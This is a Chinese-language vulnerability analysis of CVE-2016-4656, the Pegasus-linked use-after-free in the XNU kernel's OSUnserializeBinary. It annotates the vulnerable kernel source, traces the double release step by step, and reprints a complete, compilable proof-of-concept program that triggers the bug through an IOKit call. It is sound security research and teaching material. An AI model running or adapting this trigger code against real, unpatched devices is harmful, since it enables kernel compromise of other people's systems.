【技术分享】CVE-2016-4656:苹果Pegasus漏洞技术分析详解

具体的技术背景,可以参考下面这篇文章

PEGASUS iOS Kernel Vulnerability Explained

PEGASUS iOS Kernel Vulnerability Explained - Part 2

iOS三叉戟漏洞补丁分析、利用代码 公布(POC)

0x01 OSUnserializeBinary

在软件开发的流程中,在两个模块进行通信时,都会遇到使用序列化和反序列化传递一些数据结构,或者内部数据,比较典型的就是google的protobuf。

在XNU内核之中,自己实现了一套C++的子集,为IOKIT的开发提供支持,其中就提供了一套自己的序列化与反序列化的逻辑。

这次出现问题的OSUnserializeBinary便是这一个模块中的一个函数。


1.1 OSUnserializeBinary

下面是对源码的简单分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
OSObject *
OSUnserializeBinary( const  char  *buffer,  size_t  bufferSize, OSString **errorString)
{
/*
...初始化变量
*/
if  (errorString) *errorString = 0;
/*
#define kOSSerializeBinarySignature "\323\0\0"
*/
   
   // 等待反序列化的二进制数据存在一定的格式
   
// 检测是否是是具有签名的内存数据
if  (0 !=  strcmp (kOSSerializeBinarySignature, buffer))  return  (NULL);
if  (3 & (( uintptr_t ) buffer))  return  (NULL);
// 检测buffersize的大小要小于kOSSerializeBinarySignature的大小
if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (NULL);
// 跳过内存开始的签名部分,获取第一个需要解析的内存
bufferPos =  sizeof (kOSSerializeBinarySignature);
next = (typeof(next)) ((( uintptr_t ) buffer) + bufferPos);
DEBG( "---------OSUnserializeBinary(%p)\n" , buffer);
   // 反序列化流程中会使用到的一些状态变量
objsArray = stackArray    = NULL;
objsIdx   = objsCapacity  = 0;
stackIdx  = stackCapacity = 0;
     result   = 0;
     parent   = 0;
dict     = 0;
array    = 0;
set      = 0;
sym      = 0;
ok =  true ;
while  (ok)
{
// 通过next指向的内容获取当前的key的pos
bufferPos +=  sizeof (*next);
// 检测是否分析完成
if  (!(ok = (bufferPos <= bufferSize)))  break ;
// 获取当前的k
key = *next++;
         len = (key & kOSSerializeDataMask);
         wordLen = (len + 3) >> 2;  //计算要用几个word
end = (0 != (kOSSerializeEndCollecton & key));
         DEBG( "key 0x%08x: 0x%04x, %d\n" , key, len, end);
         newCollect = isRef =  false ;
o = 0; newDict = 0; newArray = 0; newSet = 0;
//根据key的不同对不同的数据结构做操作
switch  (kOSSerializeTypeMask & key)
{
     case  kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
         break ;
     case  kOSSerializeArray:
o = newArray = OSArray::withCapacity(len);
newCollect = (len != 0);
         break ;
   /*
   ...
   */
     default :
         break ;
}
//退出循环
if  (!(ok = (o != 0)))  break ;
//如果反序列化的结果不是一个reference
//就将结果存放到objsArray之中
if  (!isRef)
{
setAtIndex(objs, objsIdx, o);
//如果ok的值为false,则退出反序列化循环
//#define kalloc_container(size)
//kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
/*
typeof(objsArray) nbuf = (typeof(objsArray)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
*/
//在内核中申请ncap*sizeof(o)大小的内存,如果申请失败的了则ok设为false
if  (!ok) {
break ;
}
objsIdx++;
}
//对解析出来的o进行不同的操作
if  (dict)
{
/*...*/
}
else  if  (array) 
{
/*...*/
}
else  if  (set)
{
    /*...*/
}
else
{
     /*...*/
}
if  (!ok)  break ;
       //解析的流程中出现了一些新的容器
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}
       //解析结束
if  (end)
{
if  (!stackIdx)  break ;
parent = stackArray[stackIdx];
DEBG( "--stack[%d] %p\n" , stackIdx, parent);
stackIdx--;
set   = 0; 
dict  = 0; 
array = 0;
if  (!(dict = OSDynamicCast(OSDictionary, parent)))
{
if  (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}
}
DEBG( "ret %p\n" , result);
if  (objsCapacity)  kfree(objsArray,  objsCapacity  *  sizeof (*objsArray));
if  (stackCapacity) kfree(stackArray, stackCapacity *  sizeof (*stackArray));
if  (!ok && result)
{
result->release();
result = 0;
}
return  (result);
}

1.2 setAtIndex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define setAtIndex(v, idx, o)\
if  (idx >= v##Capacity)\
{\
uint32_t ncap = v##Capacity + 64;\
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap *  sizeof (o));\
if  (!nbuf) ok =  false ;\
if  (v##Array)\
{\
bcopy(v##Array, nbuf, v##Capacity *  sizeof (o));\
kfree(v##Array, v##Capacity *  sizeof (o));\
}\
v##Array    = nbuf;\
v##Capacity = ncap;\
}\
if  (ok) v##Array[idx] = o;

这一段宏用在代码中大意如下

1
2
3
4
5
6
7
8
if  (idx>v##capacity)
{
   /* 扩充数组*/
}
if  (ok) 
{
   v##Array[idx]=o
}

大意就是讲数据o放置到数组中的idx处,如果数组不够大了就扩充一下数组的大小。


1.3 源码分析

该函数的大致流程与我们通常遇到的反序列化函数形式基本相同,分为以下几步

检测二进制文件格式,是否符合要求

依次读取二进制数据,进行分析,并且将解析的结果存放到对应的数据结构之中


1.3.1 二进制文件格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 检测是否是是具有签名的内存数据
if  (0 !=  strcmp (kOSSerializeBinarySignature, buffer))  return  (NULL);
if  (3 & (( uintptr_t ) buffer))  return  (NULL);
// 检测buffersize的大小要小于kOSSerializeBinarySignature的大小
if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (NULL);
可以看出,需要解析的二进制数据,一定是已kOSSerializeBinarySignature开始的。具体的定义如下图所示。
#define kOSSerializeBinarySignature "\323\0\0"
在通过签名的检测之后,就会根据每一块读出的内存进行分析
       key = *next++;
       len = (key & kOSSerializeDataMask);  //获取len的值
       wordLen = (len + 3) >> 2;  //计算要用几个word
    end = (0 != (kOSSerializeEndCollecton & key))  //获取end的值;
    /*...*/
//根据key的不同对不同的数据结构做操作
switch  (kOSSerializeTypeMask & key)
         {
           /*....*/
         }


1.3.2 数据存放

解析之后得到的数据,会被存放到对应的数据结构之中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
         //如果反序列化的结果不是一个reference
//就将结果存放到objsCapacity之中
//如果反序列化自后内存申请失败,则退出反序列化
if  (!isRef)
{
setAtIndex(objs, objsIdx, o);
//如果ok的值为false,则退出反序列化循环
//#define kalloc_container(size)\
kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
/*
typeof(objsArray) nbuf = (typeof(objsArray)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
*/
//在内核中申请ncap*sizeof(o)大小的内存,如果申请失败的了则ok设为false
if  (!ok) {
break ;
}
objsIdx++;
}
//如果存在一个解析出来的dict
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}
else  if  (array) 
{
ok = array->setObject(o);
     o->release();
}
else  if  (set)
{
    ok = set->setObject(o);
    o->release();
}
else
{
     assert (!parent);
     result = o;
}
if  (!ok)  break ;
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}
if  (end)
{
if  (!stackIdx)  break ;
parent = stackArray[stackIdx];
DEBG( "--stack[%d] %p\n" , stackIdx, parent);
stackIdx--;
set   = 0; 
dict  = 0; 
array = 0;
if  (!(dict = OSDynamicCast(OSDictionary, parent)))
{
if  (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}
}

对reference,dict,set,array都有相应的处理分支。


0x02 POC的分析


2.1 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
  * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
  * compile on OS X like:
  *    gcc -arch i386 -framework IOKit -o ex exploit.c
  */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
   kOSSerializeDictionary   = 0x01000000U,
   kOSSerializeArray        = 0x02000000U,
   kOSSerializeSet          = 0x03000000U,
   kOSSerializeNumber       = 0x04000000U,
   kOSSerializeSymbol       = 0x08000000U,
   kOSSerializeString       = 0x09000000U,
   kOSSerializeData         = 0x0a000000U,
   kOSSerializeBoolean      = 0x0b000000U,
   kOSSerializeObject       = 0x0c000000U,
   kOSSerializeTypeMask     = 0x7F000000U,
   kOSSerializeDataMask     = 0x00FFFFFFU,
   kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "\323\0\0"
int  main()
{
   char  * data =  malloc (1024);
   uint32_t * ptr = (uint32_t *) data;
   uint32_t bufpos = 0;
   mach_port_t master = 0, res;
   kern_return_t kr;
   /* create header */
   memcpy (data, kOSSerializeBinarySignature,  sizeof (kOSSerializeBinarySignature));
   bufpos +=  sizeof (kOSSerializeBinarySignature);
   /* create a dictionary with 2 elements */
   *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
   /* our key is a OSString object */
   *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
   /* our data is a simple boolean */
   *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
   /* now create a reference to object 1 which is the OSString object that was just freed */
   *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
   /* get a master port for IOKit API */
   host_get_io_master(mach_host_self(), &master);
   /* trigger the bug */
   kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
   printf ( "kr: 0x%x\n" , kr);
}

很明显,poc创建了一个dict,这个dict有两个元素,第一个元素是key为“AAAAAAA”的字符串,值为一个Boolean。第二个元素是第一个元素的一个reference。

内核在反序列化这一段字符串的时候就会触发漏洞。

crash

结合OSUnserializeBinary,来分析一下,到底发生了一些什么。


2.2 流程

2.2.1 kOSSerializeDictionary

通过解析,二进制文件首先会进入kOSSerializeDictionary的分支。

1
2
3
4
5
case  kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
        break ;
break 之后,执行setAtIndex宏。

1
objsArray[0] = dict

因为其他条件都不满足,代码会进入处理新容器的分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}


从而给dict赋值newDict。从而创建了一个dict用来存储后续的数据。

2.2.2 kOSSerializeString与kOSSerializeBoolean

第一个元素的key是一个字符串,通过源码解析。

1
2
3
4
5
6
case  kOSSerializeString:
bufferPos += (wordLen *  sizeof (uint32_t));
if  (bufferPos > bufferSize)  break ;
         o = OSString::withStringOfLength(( const  char  *) next, len);
         next += wordLen;
         break ;

获得字符串o。

break之后,执行setAtIndex宏。


objsArray[0] = dict

objsArray[1] = "0x0041414141414141"

因为dict已经创建,进入dict的处理流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o); //<--进入这个分支
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}

因为sym并不存在,所以根据o转换出sym。

第一个元素的值是一个bool值,

1
2
3
case  kOSSerializeBoolean:
o = (len ? kOSBooleanTrue : kOSBooleanFalse);
         break ;


break之后,执行setAtIndex宏。


objsArray[0] => dict

objsArray[1] => "0x0041414141414141"

objsArray[2] => true//不知道是不是true,瞎写的,这里不重要

再次进入dict的处理分支,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if  (dict)
{
if  (sym) //<--进入这个分支
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release(); //objsArrays[2]指向o
sym->release(); //objsArrays[1]指向sym
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}

因为sym已经存在了,所以进入了上面的分支,在处理完成之后,对o和sym都进行了release。


objsArray[0] => dict

objsArray[1] => "0x0041414141414141"//released

objsArray[2] => true   //released


2.2.3 kOSSerializeObject

第二个元素的是一个reference,处理的代码如下。

1
2
3
4
5
6
   case  kOSSerializeObject:
if  (len >= objsIdx)  break ;
o = objsArray[len]; //len的值为1
o->retain();
isRef =  true ;
break ;

o取出数组中objsArray[1],是一个已经被释放了的元素。

再通过dict处理的代码时


//如果存在一个解析出来的dict

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release(); //再次调用o的release函数,出发UAF。
     o = 0;
}
ok = (sym != 0);
}
}


0x03 小结


这是今年在这个模块第二次出现UAF的漏洞了,在反序列化的流程中,将中间产生的元素存放在objArrays当中,在处理reference的时候进行使用,但是没有考虑到reference的流程中,会使用到已经被free的元素。

在过去的日常开发中,反思字节开发的序列化库,也确实经常会做类似的处理,默认了函数的输入都是合理的数据,并对序列化产生的数据进行了详细的测试,确保反序列化不会出问题,但是并没有考虑到恶意构造的二进制数据和序列化函数产生的二进制数据,在执行时可能会造成不同的流程。

reference

1.PEGASUS iOS Kernel Vulnerability Explaine

https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html

2.PEGASUS iOS Kernel Vulnerability Explained - Part 2

https://sektioneins.de/en/blog/16-09-05-pegasus-ios-kernel-vulnerability-explained-part-2.html

源码


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
#define setAtIndex(v, idx, o)\
if  (idx >= v##Capacity)\
{\
uint32_t ncap = v##Capacity + 64;\
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap *  sizeof (o));\
if  (!nbuf) ok =  false ;\
if  (v##Array)\
{\
bcopy(v##Array, nbuf, v##Capacity *  sizeof (o));\
kfree(v##Array, v##Capacity *  sizeof (o));\
}\
v##Array    = nbuf;\
v##Capacity = ncap;\
}\
if  (ok) v##Array[idx] = o;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
OSObject *
OSUnserializeBinary( const  char  *buffer,  size_t  bufferSize, OSString **errorString)
{
OSObject ** objsArray;
uint32_t    objsCapacity;
uint32_t    objsIdx;
OSObject ** stackArray;
uint32_t    stackCapacity;
uint32_t    stackIdx;
     OSObject     * result;
     OSObject     * parent;
     OSDictionary * dict;
     OSArray      * array;
     OSSet        * set;
     OSDictionary * newDict;
     OSArray      * newArray;
     OSSet        * newSet;
     OSObject     * o;
     OSSymbol     * sym;
     OSString     * str;
     size_t            bufferPos;
     const  uint32_t * next;
     uint32_t         key, len, wordLen;
     bool              end, newCollect, isRef;
     unsigned  long  long  value;
     bool  ok;
if  (errorString) *errorString = 0;
/*
#define kOSSerializeBinarySignature "\323\0\0"
*/
// 检测是否是是具有签名的内存数据
if  (0 !=  strcmp (kOSSerializeBinarySignature, buffer))  return  (NULL);
// 0000 0011 && buffer指针 ==》buffer的地址末尾不能是11
if  (3 & (( uintptr_t ) buffer))  return  (NULL);
// 检测buffersize的大小要小于kOSSerializeBinarySignature的大小
if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (NULL);
// 跳过内存开始的签名部分,获取第一个需要解析的内存
bufferPos =  sizeof (kOSSerializeBinarySignature);
next = (typeof(next)) ((( uintptr_t ) buffer) + bufferPos);
DEBG( "---------OSUnserializeBinary(%p)\n" , buffer);
objsArray = stackArray    = NULL;
objsIdx   = objsCapacity  = 0;
stackIdx  = stackCapacity = 0;
     result   = 0;
     parent   = 0;
dict     = 0;
array    = 0;
set      = 0;
sym      = 0;
ok =  true ;
while  (ok)
{
// 通过next指向的内容获取当前的key的pos
bufferPos +=  sizeof (*next);
// 检测是否分析完成
if  (!(ok = (bufferPos <= bufferSize)))  break ;
// 获取当前的key
key = *next++;
         len = (key & kOSSerializeDataMask);
         wordLen = (len + 3) >> 2;  //计算要用几个word
end = (0 != (kOSSerializeEndCollecton & key));
         DEBG( "key 0x%08x: 0x%04x, %d\n" , key, len, end);
         newCollect = isRef =  false ;
o = 0; newDict = 0; newArray = 0; newSet = 0;
//根据key的不同对不同的数据结构做操作
switch  (kOSSerializeTypeMask & key)
{
     case  kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
         break ;
     case  kOSSerializeArray:
o = newArray = OSArray::withCapacity(len);
newCollect = (len != 0);
         break ;
     case  kOSSerializeSet:
o = newSet = OSSet::withCapacity(len);
newCollect = (len != 0);
         break ;
     case  kOSSerializeObject:
if  (len >= objsIdx)  break ;
o = objsArray[len];
o->retain();
isRef =  true ;
break ;
     case  kOSSerializeNumber:
bufferPos +=  sizeof ( long  long );
if  (bufferPos > bufferSize)  break ;
     value = next[1];
     value <<= 32;
     value |= next[0];
     o = OSNumber::withNumber(value, len);
     next += 2;
         break ;
     case  kOSSerializeSymbol:
bufferPos += (wordLen *  sizeof (uint32_t));
if  (bufferPos > bufferSize)            break ;
if  (0 != (( const  char  *)next)[len-1])  break ;
         o = (OSObject *) OSSymbol::withCString(( const  char  *) next);
         next += wordLen;
         break ;
     case  kOSSerializeString:
bufferPos += (wordLen *  sizeof (uint32_t));
if  (bufferPos > bufferSize)  break ;
         o = OSString::withStringOfLength(( const  char  *) next, len);
         next += wordLen;
         break ;
         case  kOSSerializeData:
bufferPos += (wordLen *  sizeof (uint32_t));
if  (bufferPos > bufferSize)  break ;
         o = OSData::withBytes(next, len);
         next += wordLen;
         break ;
         case  kOSSerializeBoolean:
o = (len ? kOSBooleanTrue : kOSBooleanFalse);
         break ;
     default :
         break ;
}
//退出循环
if  (!(ok = (o != 0)))  break ;
//如果反序列化的结果不是一个reference
//就将结果存放到objsCapacity之中
//如果反序列化自后内存申请失败,则退出反序列化
if  (!isRef)
{
setAtIndex(objs, objsIdx, o);
//如果ok的值为false,则退出反序列化循环
//#define kalloc_container(size)\
kalloc_tag_bt(size, VM_KERN_MEMORY_LIBKERN)
/*
typeof(objsArray) nbuf = (typeof(objsArray)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
*/
//在内核中申请ncap*sizeof(o)大小的内存,如果申请失败的了则ok设为false
if  (!ok) {
break ;
}
objsIdx++;
}
//如果存在一个解析出来的dict
if  (dict)
{
if  (sym)
{
DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if  (o != dict) 
{
ok = dict->setObject(sym, o);
}
o->release();
sym->release();
sym = 0;
}
else 
{
sym = OSDynamicCast(OSSymbol, o);
if  (!sym && (str = OSDynamicCast(OSString, o)))
{
     sym = (OSSymbol *) OSSymbol::withString(str);
     o->release();
     o = 0;
}
ok = (sym != 0);
}
}
else  if  (array) 
{
ok = array->setObject(o);
     o->release();
}
else  if  (set)
{
    ok = set->setObject(o);
    o->release();
}
else
{
     assert (!parent);
     result = o;
}
if  (!ok)  break ;
if  (newCollect)
{
if  (!end)
{
stackIdx++;
setAtIndex(stack, stackIdx, parent);
if  (!ok)  break ;
}
DEBG( "++stack[%d] %p\n" , stackIdx, parent);
parent = o;
dict   = newDict;
array  = newArray;
set    = newSet;
end    =  false ;
}
if  (end)
{
if  (!stackIdx)  break ;
parent = stackArray[stackIdx];
DEBG( "--stack[%d] %p\n" , stackIdx, parent);
stackIdx--;
set   = 0; 
dict  = 0; 
array = 0;
if  (!(dict = OSDynamicCast(OSDictionary, parent)))
{
if  (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
}
}
}
DEBG( "ret %p\n" , result);
if  (objsCapacity)  kfree(objsArray,  objsCapacity  *  sizeof (*objsArray));
if  (stackCapacity) kfree(stackArray, stackCapacity *  sizeof (*stackArray));
if  (!ok && result)
{
result->release();
result = 0;
}
return  (result);
}


本文转载自 turingh.github.io
原文链接:http://turingh.github.io/2016/09/07/CVE-2016-4656%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值